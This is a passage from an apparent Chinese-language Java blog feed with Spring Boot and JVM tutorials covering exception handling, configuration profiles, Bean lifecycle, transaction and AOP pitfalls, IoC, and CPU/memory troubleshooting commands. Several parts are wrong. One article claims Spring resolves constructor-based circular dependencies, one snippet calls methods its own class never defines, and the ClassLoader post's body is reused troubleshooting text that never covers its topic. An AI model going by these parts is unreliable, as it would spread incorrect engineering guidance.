    return ApiResponse.success(user);
}

// ✅ Service 层处理业务逻辑
@Service
public class UserService {
    public UserDTO getUser(Long id) {
        return userRepository.findById(id)
            .map(this::convertToDTO)
            .orElseThrow(() -> ResourceNotFoundException.of("用户", id));
    }
}

总结

参数校验和返回值封装的关键是：

  1. 使用标准校验注解，减少重复代码
  2. 定义统一的响应格式，提升接口规范性
  3. 在 Service 层处理业务逻辑，Controller 只负责接收和返回
  4. 使用全局异常处理器统一处理异常

写这篇文章时，我回顾了几个项目的接口设计。好的接口设计能提升前后端协作效率，减少沟通成本。希望这些实践能帮到你。

]]> SpringBoot JAVA SpringBoot Spring Boot 统一异常处理：优雅的错误响应方案 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ Spring Boot 统一异常处理：优雅的错误响应方案

在 Spring Boot 项目中，统一异常处理是必不可少的。今天分享一下我在项目中常用的异常处理方案。

统一错误响应格式

首先定义统一的错误响应格式：

@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class ErrorResponse {
    
    private int code;
    private String message;
    private String path;
    private LocalDateTime timestamp;
    
    public static ErrorResponse of(int code, String message, String path) {
        return ErrorResponse.builder()
            .code(code)
            .message(message)
            .path(path)
            .timestamp(LocalDateTime.now())
            .build();
    }
}

全局异常处理器

使用 @RestControllerAdvice 实现全局异常处理：

@RestControllerAdvice
public class GlobalExceptionHandler {
    
    private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);
    
    /**
     * 处理业务异常
     */
    @ExceptionHandler(BusinessException.class)
    public ResponseEntity<ErrorResponse> handleBusinessException(
            BusinessException ex, 
            HttpServletRequest request) {
        logger.warn("业务异常: {}", ex.getMessage());
        
        return ResponseEntity.status(HttpStatus.BAD_REQUEST)
            .body(ErrorResponse.of(
                ex.getCode(), 
                ex.getMessage(), 
                request.getRequestURI()
            ));
    }
    
    /**
     * 处理参数校验异常
     */
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public ResponseEntity<ErrorResponse> handleValidationException(
            MethodArgumentNotValidException ex,
            HttpServletRequest request) {
        
        String message = ex.getBindingResult().getFieldErrors().stream()
            .map(FieldError::getDefaultMessage)
            .collect(Collectors.joining(", "));
        
        logger.warn("参数校验失败: {}", message);
        
        return ResponseEntity.status(HttpStatus.BAD_REQUEST)
            .body(ErrorResponse.of(
                400, 
                message, 
                request.getRequestURI()
            ));
    }
    
    /**
     * 处理资源未找到异常
     */
    @ExceptionHandler(ResourceNotFoundException.class)
    public ResponseEntity<ErrorResponse> handleResourceNotFoundException(
            ResourceNotFoundException ex,
            HttpServletRequest request) {
        logger.warn("资源未找到: {}", ex.getMessage());
        
        return ResponseEntity.status(HttpStatus.NOT_FOUND)
            .body(ErrorResponse.of(
                404, 
                ex.getMessage(), 
                request.getRequestURI()
            ));
    }
    
    /**
     * 处理其他未知异常
     */
    @ExceptionHandler(Exception.class)
    public ResponseEntity<ErrorResponse> handleException(
            Exception ex,
            HttpServletRequest request) {
        logger.error("系统异常: ", ex);
        
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
            .body(ErrorResponse.of(
                500, 
                "系统内部错误，请稍后重试", 
                request.getRequestURI()
            ));
    }
}

自定义业务异常

@Data
@EqualsAndHashCode(callSuper = true)
public class BusinessException extends RuntimeException {
    
    private final int code;
    
    public BusinessException(String message) {
        super(message);
        this.code = 400;
    }
    
    public BusinessException(int code, String message) {
        super(message);
        this.code = code;
    }
    
    public static BusinessException of(String message) {
        return new BusinessException(message);
    }
    
    public static BusinessException of(int code, String message) {
        return new BusinessException(code, message);
    }
}

自定义资源未找到异常

@Data
@EqualsAndHashCode(callSuper = true)
public class ResourceNotFoundException extends RuntimeException {
    
    public ResourceNotFoundException(String message) {
        super(message);
    }
    
    public static ResourceNotFoundException of(String message) {
        return new ResourceNotFoundException(message);
    }
    
    public static ResourceNotFoundException of(String resourceType, Object id) {
        return new ResourceNotFoundException(resourceType + "不存在，ID: " + id);
    }
}

参数校验

@RestController
@RequestMapping("/users")
public class UserController {
    
    private final UserService userService;
    
    public UserController(UserService userService) {
        this.userService = userService;
    }
    
    @PostMapping
    public ResponseEntity<UserDTO> createUser(@Valid @RequestBody CreateUserRequest request) {
        UserDTO user = userService.createUser(request);
        return ResponseEntity.status(HttpStatus.CREATED).body(user);
    }
}

@Data
public class CreateUserRequest {
    
    @NotBlank(message = "用户名不能为空")
    @Size(min = 3, max = 50, message = "用户名长度必须在3-50之间")
    private String username;
    
    @Email(message = "邮箱格式不正确")
    @NotBlank(message = "邮箱不能为空")
    private String email;
    
    @NotBlank(message = "密码不能为空")
    @Size(min = 6, message = "密码长度至少6位")
    private String password;
}

使用示例

@Service
public class UserService {
    
    private final UserRepository userRepository;
    
    public UserService(UserRepository userRepository) {
        this.userRepository = userRepository;
    }
    
    public UserDTO detail(Long id) {
        User user = userRepository.findById(id)
            .orElseThrow(() -> ResourceNotFoundException.of("用户", id));
        return convertToDTO(user);
    }
    
    public UserDTO createUser(CreateUserRequest request) {
        if (userRepository.existsByEmail(request.getEmail())) {
            throw BusinessException.of("邮箱已被注册");
        }
        
        User user = new User();
        user.setUsername(request.getUsername());
        user.setEmail(request.getEmail());
        user.setPassword(encryptPassword(request.getPassword()));
        
        User savedUser = userRepository.save(user);
        return convertToDTO(savedUser);
    }
}

错误响应示例

{
    "code": 400,
    "message": "邮箱已被注册",
    "path": "/users",
    "timestamp": "2024-01-15T10:30:00"
}

实战建议

1. 区分异常类型

  • 业务异常：用户操作不当（如参数错误、资源不存在）
  • 系统异常：服务器内部错误（如数据库连接失败）

2. 日志记录

// 业务异常记录 warn 级别
logger.warn("业务异常: {}", ex.getMessage());

// 系统异常记录 error 级别（包含堆栈）
logger.error("系统异常: ", ex);

3. 错误码规范

// 客户端错误：4xx
// 服务端错误：5xx
// 业务错误：自定义码（如 1001, 1002）

4. 国际化支持

// 支持多语言错误消息
@ExceptionHandler(BusinessException.class)
public ResponseEntity<ErrorResponse> handleBusinessException(
        BusinessException ex,
        HttpServletRequest request,
        Locale locale) {
    
    String message = messageSource.getMessage(
        ex.getErrorCode(), 
        ex.getArgs(), 
        ex.getMessage(), 
        locale
    );
    
    return ResponseEntity.status(HttpStatus.BAD_REQUEST)
        .body(ErrorResponse.of(ex.getCode(), message, request.getRequestURI()));
}

总结

统一异常处理能让错误响应更加规范，提升用户体验。关键是：

  1. 定义统一的错误响应格式
  2. 使用 @RestControllerAdvice 统一处理异常
  3. 区分业务异常和系统异常
  4. 记录详细的日志便于排查

写这篇文章时，我回顾了几个项目的异常处理方案。好的异常处理不仅能提升用户体验，还能帮助快速定位问题。

]]> SpringBoot JAVA SpringBoot Spring Boot 多环境配置：最佳实践指南 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ Spring Boot 多环境配置：最佳实践指南

项目开发中，不同环境（开发、测试、生产）需要不同的配置。今天分享一下 Spring Boot 多环境配置的标准做法。

配置文件结构

src/main/resources/
├── application.yml          # 公共配置
├── application-dev.yml      # 开发环境
├── application-test.yml     # 测试环境
└── application-prod.yml     # 生产环境

配置文件内容

1. 公共配置（application.yml）

server:
  port: 8080

spring:
  application:
    name: my-app
  profiles:
    active: dev  # 默认激活开发环境

logging:
  level:
    com.example: DEBUG

2. 开发环境（application-dev.yml）

spring:
  datasource:
    url: jdbc:mysql://localhost:3306/dev_db?useSSL=false&serverTimezone=Asia/Shanghai
    username: dev_user
    password: dev_password
    driver-class-name: com.mysql.cj.jdbc.Driver

# 开发环境特有的配置
app:
  debug: true
  mock-data: true

3. 测试环境（application-test.yml）

spring:
  datasource:
    url: jdbc:mysql://test.example.com:3306/test_db?useSSL=true&serverTimezone=Asia/Shanghai
    username: test_user
    password: test_password
    driver-class-name: com.mysql.cj.jdbc.Driver

# 测试环境特有的配置
app:
  debug: false
  mock-data: false

4. 生产环境（application-prod.yml）

spring:
  datasource:
    url: jdbc:mysql://prod.example.com:3306/prod_db?useSSL=true&serverTimezone=Asia/Shanghai
    username: ${DB_USERNAME}
    password: ${DB_PASSWORD}
    driver-class-name: com.mysql.cj.jdbc.Driver

server:
  port: 80

# 生产环境特有的配置
app:
  debug: false
  cache-enabled: true

激活方式

方式一：在配置文件中指定

spring:
  profiles:
    active: prod

方式二：通过启动参数指定

java -jar app.jar --spring.profiles.active=prod

方式三：通过环境变量指定

export SPRING_PROFILES_ACTIVE=prod
java -jar app.jar

方式四：通过 Maven 打包时指定

<profiles>
    <profile>
        <id>dev</id>
        <properties>
            <activatedProperties>dev</activatedProperties>
        </properties>
    </profile>
    <profile>
        <id>prod</id>
        <properties>
            <activatedProperties>prod</activatedProperties>
        </properties>
    </profile>
</profiles>

打包命令：

mvn clean package -Pprod

配置优先级

Spring Boot 配置优先级从高到低：

  1. 命令行参数
  2. 环境变量
  3. 外部配置文件（如 /config/application.yml）
  4. 内部配置文件（application.yml）
  5. @ConfigurationProperties 注解类

配置加密

生产环境的敏感配置（如数据库密码）应该加密：

spring:
  datasource:
    password: '{cipher}encrypted-password'

可以使用 Jasypt 进行加密：

<dependency>
    <groupId>com.github.ulisesbocchio</groupId>
    <artifactId>jasypt-spring-boot-starter</artifactId>
    <version>3.0.5</version>
</dependency>

实战建议

1. 敏感配置不要硬编码

# ❌ 错误：密码硬编码
password: my-secret-password

# ✅ 正确：使用环境变量
password: ${DB_PASSWORD}

2. 配置文件分离

# application.yml 只放公共配置
# 各环境配置只放差异部分

3. 配置验证

@ConfigurationProperties(prefix = "app")
@Validated
public class AppProperties {
    
    @NotBlank
    private String name;
    
    @Min(1)
    private int timeout;
    
    // getters/setters
}

4. 配置文档化

# application.yml
# 数据库配置
spring:
  datasource:
    # 数据库连接地址
    url: jdbc:mysql://localhost:3306/example_db
    # 数据库用户名
    username: admin
    # 数据库密码（生产环境使用环境变量）
    password: ${DB_PASSWORD:default_password}

总结

多环境配置的核心是：

  1. 公共配置和环境特定配置分离
  2. 敏感配置使用环境变量
  3. 通过启动参数灵活切换环境
  4. 配置验证确保正确性

写这篇文章时，我回顾了几个项目的配置方式。好的配置管理能显著提升开发效率和运维质量。希望这些实践能帮到你。

]]> SpringBoot JAVA SpringBoot Bean 生命周期：一步步看懂 Spring 是怎么管理对象的 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ Bean 生命周期：一步步看懂 Spring 是怎么管理对象的

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先从一个简单的例子入手

Spring Boot 项目里，我们通常这样定义一个 Bean：

@Component
public class UserService implements InitializingBean, DisposableBean {
    
    private UserRepository userRepository;

    public UserService(UserRepository userRepository) {
        this.userRepository = userRepository;
        // 构造器阶段：此时其他 Bean 可能还未完全初始化
    }

    @PostConstruct
    public void init() {
        // 初始化阶段：适合做一些初始化操作
    }

    @Override
    public void afterPropertiesSet() throws Exception {
        // InitializingBean 回调：在 @PostConstruct 之后执行
    }

    @PreDestroy
    public void cleanup() {
        // 销毁前阶段：释放资源
    }

    @Override
    public void destroy() throws Exception {
        // DisposableBean 回调：在 @PreDestroy 之后执行
    }
}

生命周期的完整顺序

我特意打印了日志来确认执行顺序：

  1. 构造器 → 创建 Bean 实例
  2. 依赖注入 → Spring 注入所需的依赖
  3. @PostConstruct → 自定义初始化方法
  4. InitializingBean.afterPropertiesSet() → 接口回调
  5. Bean 就绪 → 可以被其他 Bean 使用
  6. @PreDestroy → 自定义销毁方法
  7. DisposableBean.destroy() → 接口回调
  8. Bean 销毁 → 实例被回收

为什么要搞这么多初始化方式？

刚开始我也觉得奇怪，为什么需要这么多回调方式。后来理解了，这是为了满足不同场景：

  • @PostConstruct 最常用，适合大多数初始化场景
  • InitializingBean 接口方式更底层，适合框架扩展
  • 如果需要精确控制顺序，可以同时使用

实际项目中的坑

分享几个我踩过的坑：

坑1：在构造器中调用其他 Bean

@Component
public class ServiceA {
    public ServiceA(ServiceB b) {
        b.doSomething(); // 危险！ServiceB 可能还未完全初始化
    }
}

坑2：循环依赖导致的问题
如果 A 依赖 B，B 又依赖 A，Spring 会通过三级缓存解决，但如果在初始化方法中调用对方的方法，可能会拿到不完整的 Bean。

坑3：@PostConstruct 中启动线程

@PostConstruct
public void start() {
    new Thread(this::run).start(); // 如果这里抛异常，Bean 会被标记为失败
}

总结

理解 Bean 生命周期最重要的不是死记顺序，而是知道在哪个阶段可以做什么、不能做什么。实际项目中，我更倾向于用 @PostConstruct 和 @PreDestroy，简单直观。只有在需要和 Spring 框架深度集成时，才会考虑实现 InitializingBean 接口。

写这篇文章时，我特意搭了个测试项目验证每个阶段的执行顺序。实践出真知，光看理论总容易记混。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring Spring 事务失效：那些年我们踩过的坑 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ Spring 事务失效：那些年我们踩过的坑

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

坑一：同类方法内部调用

这是最常见的坑！Spring 事务基于代理实现，同类内部调用不会经过代理：

@Service
public class UserService {
    
    public void updateUser(Long id, String name) {
        // 这里调用没有经过代理，事务不生效！
        doUpdate(id, name);
    }
    
    @Transactional
    public void doUpdate(Long id, String name) {
        // 数据库操作
    }
}

解决方案：

@Service
public class UserService {
    
    // 注入自己，通过代理调用
    @Autowired
    private UserService self;
    
    public void updateUser(Long id, String name) {
        self.doUpdate(id, name); // 通过代理调用
    }
    
    @Transactional
    public void doUpdate(Long id, String name) {
        // 数据库操作
    }
}

坑二：方法不是 public

Spring 事务要求方法必须是 public：

@Service
public class UserService {
    
    // 非 public 方法，事务不生效
    @Transactional
    private void updateUser(Long id, String name) {
        // 数据库操作
    }
}

坑三：异常被吞掉

事务需要异常向上抛出才能回滚：

@Service
public class UserService {
    
    @Transactional
    public void transfer(Long fromId, Long toId, BigDecimal amount) {
        try {
            // 扣款
            // 打款
        } catch (Exception e) {
            // 异常被吞掉，事务不会回滚！
            log.error("转账失败", e);
        }
    }
}

正确做法：

@Transactional(rollbackFor = Exception.class)
public void transfer(Long fromId, Long toId, BigDecimal amount) {
    // 扣款
    // 打款
}

坑四：错误的异常类型

默认情况下，Spring 只对 RuntimeException 回滚：

@Transactional
public void transfer(Long fromId, Long toId, BigDecimal amount) throws Exception {
    // 如果抛出 checked exception，事务不会回滚！
    throw new Exception("转账失败");
}

解决方案：

@Transactional(rollbackFor = Exception.class)
public void transfer(Long fromId, Long toId, BigDecimal amount) throws Exception {
    throw new Exception("转账失败"); // 现在会回滚
}

坑五：多数据源配置问题

如果配置了多个数据源，需要指定事务管理器：

@Service
public class UserService {
    
    @Autowired
    private DataSourceTransactionManager transactionManager;
    
    @Transactional(transactionManager = "transactionManager")
    public void updateUser(Long id, String name) {
        // 数据库操作
    }
}

坑六：不支持事务的存储引擎

MySQL 的 MyISAM 不支持事务，必须使用 InnoDB：

-- 错误：MyISAM 不支持事务
CREATE TABLE users (
    id BIGINT PRIMARY KEY
) ENGINE=MyISAM;

-- 正确：使用 InnoDB
CREATE TABLE users (
    id BIGINT PRIMARY KEY
) ENGINE=InnoDB;

坑七：嵌套事务问题

默认情况下，嵌套事务会使用同一个事务：

@Service
public class OrderService {
    
    @Autowired
    private UserService userService;
    
    @Transactional
    public void createOrder(Long userId) {
        // 创建订单
        userService.updateBalance(userId); // 会加入同一个事务
    }
}

如果需要独立事务，可以使用 REQUIRES_NEW：

@Transactional(propagation = Propagation.REQUIRES_NEW)
public void updateBalance(Long userId) {
    // 独立事务
}

坑八：事务超时设置

长时间运行的事务可能超时：

@Transactional(timeout = 30) // 30秒超时
public void batchUpdate(List<User> users) {
    // 批量更新
}

总结

Spring 事务失效的原因主要集中在：

  1. 代理机制问题（内部调用、非 public 方法）
  2. 异常处理不当（吞掉异常、错误的异常类型）
  3. 配置问题（多数据源、存储引擎）
  4. 事务传播配置错误

写这篇文章时，我回顾了之前项目中遇到的各种事务问题。很多时候问题不是 Spring 的问题，而是我们对它的机制理解不够深入。希望这些经验能帮你避免类似的坑。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring Spring AOP 原理与实战：切面编程原来这么简单 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ Spring AOP 原理与实战：切面编程原来这么简单

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

AOP 的核心概念

在开始之前，先明确几个关键术语：

术语说明
切面 (Aspect)横切关注点的模块化，比如日志切面
连接点 (JoinPoint)程序执行的某个特定位置，如方法调用
切点 (Pointcut)匹配连接点的表达式，决定哪些方法被增强
通知 (Advice)具体的增强逻辑，如前置通知、后置通知

动态代理机制

Spring AOP 底层基于动态代理实现，主要有两种方式：

#

1. JDK 动态代理

适合代理实现了接口的类：

public class JdkProxyExample {
    public static void main(String[] args) {
        UserService target = new UserServiceImpl();
        
        UserService proxy = (UserService) Proxy.newProxyInstance(
            target.getClass().getClassLoader(),
            target.getClass().getInterfaces(),
            (proxyObj, method, args1) -> {
                System.out.println("方法执行前");
                Object result = method.invoke(target, args1);
                System.out.println("方法执行后");
                return result;
            }
        );
        
        proxy.getUser(1L);
    }
}

#

2. CGLIB 代理

适合没有实现接口的类：

public class CglibProxyExample {
    public static void main(String[] args) {
        Enhancer enhancer = new Enhancer();
        enhancer.setSuperclass(UserService.class);
        enhancer.setCallback((MethodInterceptor) (obj, method, args, proxy) -> {
            System.out.println("方法执行前");
            Object result = proxy.invokeSuper(obj, args);
            System.out.println("方法执行后");
            return result;
        });
        
        UserService proxy = (UserService) enhancer.create();
        proxy.getUser(1L);
    }
}

实战：自定义日志切面

@Aspect
@Component
public class LogAspect {
    
    private static final Logger logger = LoggerFactory.getLogger(LogAspect.class);
    
    // 匹配 com.example.service 包下所有方法
    @Pointcut("execution(* com.example.service.*.*(..))")
    public void serviceMethods() {}
    
    @Before("serviceMethods()")
    public void before(JoinPoint joinPoint) {
        String methodName = joinPoint.getSignature().getName();
        Object[] args = joinPoint.getArgs();
        logger.info("方法 {} 开始执行，参数：{}", methodName, Arrays.toString(args));
    }
    
    @AfterReturning(pointcut = "serviceMethods()", returning = "result")
    public void afterReturning(JoinPoint joinPoint, Object result) {
        String methodName = joinPoint.getSignature().getName();
        logger.info("方法 {} 执行成功，返回：{}", methodName, result);
    }
    
    @AfterThrowing(pointcut = "serviceMethods()", throwing = "ex")
    public void afterThrowing(JoinPoint joinPoint, Throwable ex) {
        String methodName = joinPoint.getSignature().getName();
        logger.error("方法 {} 执行失败，异常：{}", methodName, ex.getMessage());
    }
}

常见应用场景

#

1. 事务管理

@Transactional(rollbackFor = Exception.class)
public void transfer(Long fromId, Long toId, BigDecimal amount) {
    // 转账逻辑
}

#

2. 权限校验

@Aspect
@Component
public class AuthAspect {
    @Before("@annotation(com.example.annotation.RequireLogin)")
    public void checkLogin() {
        // 检查用户是否登录
        if (SecurityContextHolder.getContext().getAuthentication() == null) {
            throw new UnauthorizedException("请先登录");
        }
    }
}

#

3. 性能监控

@Around("execution(* com.example.controller.*.*(..))")
public Object monitorPerformance(ProceedingJoinPoint joinPoint) throws Throwable {
    long startTime = System.currentTimeMillis();
    try {
        return joinPoint.proceed();
    } finally {
        long endTime = System.currentTimeMillis();
        logger.info("方法 {} 执行耗时：{}ms", 
            joinPoint.getSignature().getName(), 
            endTime - startTime);
    }
}

注意事项

  1. 避免滥用：不要把业务逻辑写在切面里
  2. 性能考虑：切面会增加方法调用开销，高频方法慎用
  3. 自调用问题：同类内部调用不会触发切面
  4. 优先级：多个切面的执行顺序需要明确配置

总结

AOP 是一个非常实用的工具，能有效分离关注点。理解它的动态代理原理，能帮助我们更好地排查问题。实际项目中，我通常用它来处理日志、事务、权限这些通用逻辑，让业务代码更干净。

写这篇文章时，我特意写了几个测试用例验证不同场景下的切面行为。实践出真知，理论看再多不如动手写一遍。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring Spring IoC 容器：它到底帮我们解决了什么问题？ //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ Spring IoC 容器：它到底帮我们解决了什么问题？

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

没有 IoC 时的困境

在没有 Spring 之前，我们是这样写代码的：

public class UserController {
    private UserService userService = new UserServiceImpl();
    
    public UserDTO getById(Long id) {
        return userService.getById(id);
    }
}

这种方式有什么问题？

  1. 耦合度高：Controller 直接依赖具体实现类
  2. 难以测试：无法轻松替换 UserService 的实现
  3. 扩展性差：修改实现需要改动大量代码

IoC 带来的改变

使用 Spring IoC 后：

@RestController
@RequestMapping("/users")
public class UserController {
    
    private final UserService userService;
    
    // 构造器注入，Spring 负责创建和注入依赖
    public UserController(UserService userService) {
        this.userService = userService;
    }
    
    @GetMapping("/{id}")
    public UserDTO getById(@PathVariable Long id) {
        return userService.getById(id);
    }
}

IoC 带来的核心价值：

#

1. 依赖注入（DI）

对象不再自己创建依赖，而是由容器注入：

@Service
public class UserServiceImpl implements UserService {
    private final UserRepository userRepository;
    
    public UserServiceImpl(UserRepository userRepository) {
        this.userRepository = userRepository;
    }
}

#

2. 控制反转

控制权从代码转移到容器：

  • 传统方式：开发者主动创建对象
  • IoC 方式：容器负责对象的生命周期管理

#

3. 松耦合

依赖抽象而非具体实现：

// 依赖接口
private final UserService userService;

// 可以轻松替换实现
@Service
public class UserServiceMock implements UserService {
    // Mock 实现
}

IoC 容器的核心能力

#

1. Bean 的创建和管理

// 声明式定义 Bean
@Component
public class AppConfig {
    @Bean
    public RestTemplate restTemplate() {
        return new RestTemplate();
    }
}

#

2. 生命周期管理

@Component
public class MyBean implements InitializingBean, DisposableBean {
    
    @Override
    public void afterPropertiesSet() throws Exception {
        // 初始化逻辑
    }
    
    @Override
    public void destroy() throws Exception {
        // 销毁逻辑
    }
}

#

3. 依赖解析

容器自动解析依赖关系，解决循环依赖问题：

// A 依赖 B，B 依赖 A
@Component
public class BeanA {
    private final BeanB beanB;
    public BeanA(BeanB beanB) { this.beanB = beanB; }
}

@Component
public class BeanB {
    private final BeanA beanA;
    public BeanB(BeanA beanA) { this.beanA = beanA; }
}

#

4. 配置灵活

支持多种配置方式：

// 注解方式
@ConfigurationProperties(prefix = "app")
public class AppProperties {
    private String name;
    private int timeout;
    // getters/setters
}

// YAML 配置
// app:
//   name: my-app
//   timeout: 30

为什么需要 IoC？

  1. 可测试性：轻松进行单元测试，Mock 依赖
  2. 可维护性：降低耦合，代码更易维护
  3. 可扩展性：方便替换实现，支持多环境
  4. 集中管理：统一管理对象生命周期和配置

总结

IoC 不是什么高深的技术，它只是一种设计思想。核心就是”把对象的创建和管理交给容器，让代码专注于业务逻辑”。理解这一点，就能明白为什么 Spring 框架能成为 Java 生态的核心。

写这篇文章时，我特意翻了 Spring 的源码，发现 IoC 容器的实现比想象中复杂得多。但作为使用者，我们只需要理解它解决的问题，就能更好地运用它。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring 内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 线上 CPU 飙高排查：Java 问题定位实战 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 线上 CPU 飙高排查：Java 问题定位实战

线上服务 CPU 飙高是常见问题，定位起来往往比较棘手。今天分享一下我的排查流程，帮你快速定位问题。

排查流程

第一步：定位问题进程

# 查看 CPU 使用率高的进程
top

# 或者使用 ps
ps aux --sort=-%cpu | head -10

第二步：定位问题线程

# 查看进程中 CPU 使用率高的线程
top -Hp <pid>

# 或者使用 ps
ps -Lfp <pid> | sort -k 6 -r | head -10

第三步：转换线程 ID

# 将线程 ID 转换为十六进制
printf '%x\n' <tid>

第四步：查看线程堆栈

# 查看指定线程的堆栈信息
jstack <pid> | grep -A 30 '<hexTid>'

第五步：分析问题代码

根据堆栈信息定位到问题代码，常见原因包括：

  • 死循环
  • 频繁的正则匹配
  • 大量同步操作
  • GC 频繁

实战案例

案例：线上服务 CPU 使用率突然飙升到 100%

排查过程：

  1. 定位进程：

    top
    # 发现 java 进程 PID 为 12345，CPU 使用率 99%

  2. 定位线程：

    top -Hp 12345
    # 发现线程 TID 为 12350，CPU 使用率 95%

  3. 转换线程 ID：

    printf '%x\n' 12350
    # 输出：303e

  4. 查看堆栈：

    jstack 12345 | grep -A 30 '0x303e'

堆栈信息：

"http-nio-8080-exec-10" #10 daemon prio=5 os_prio=0 tid=0x00007f9e80001000 nid=0x303e runnable [0x00007f9e78f75000]
   java.lang.Thread.State: RUNNABLE
        at java.util.regex.Pattern$GroupHead.match(Pattern.java:4660)
        at java.util.regex.Pattern$Loop.match(Pattern.java:4791)
        at java.util.regex.Pattern$GroupTail.match(Pattern.java:4697)
        at java.util.regex.Pattern$CharProperty.match(Pattern.java:3777)
        ...
        at com.example.service.UserService.validateEmail(UserService.java:45)
  1. 定位问题代码：

查看 UserService.java 第 45 行：

public boolean validateEmail(String email) {
    // 问题代码：使用了低效的正则表达式
    return email.matches("^[a-zA-Z0-9_.-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$");
}

原因：正则表达式存在回溯问题，某些输入会导致大量计算。

解决方案：优化正则表达式或使用预编译的 Pattern。

常见问题类型

1. 死循环

// 问题代码
while (true) {
    if (condition) {
        break; // condition 永远为 false
    }
}

2. 正则表达式回溯

// 问题代码：灾难性回溯
String regex = "^(a+)+$";
"aaaaaaaaaaaaaab".matches(regex); // 长时间不返回

3. 大量同步操作

// 问题代码：频繁获取锁
public synchronized void process() {
    // 执行时间很长的操作
}

4. GC 频繁

// 问题代码：频繁创建大对象
while (true) {
    byte[] data = new byte[1024 * 1024]; // 1MB 对象
}

预防措施

1. 代码审查

  • 避免在循环中做复杂计算
  • 使用高效的正则表达式
  • 注意同步代码块的范围

2. 监控告警

# 使用 Prometheus + Grafana 监控
# 设置 CPU 使用率告警阈值

3. 压测验证

# 使用 JMeter 或 k6 进行压测
# 模拟高并发场景

总结

CPU 飙高问题排查的关键是：

  1. 快速定位问题进程和线程
  2. 分析线程堆栈找到问题代码
  3. 结合业务逻辑分析根本原因

写这篇文章时，我特意整理了几个线上问题的排查案例。遇到问题不要慌，按照流程一步步排查，总能找到原因。

]]> JVM JAVA JVM ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

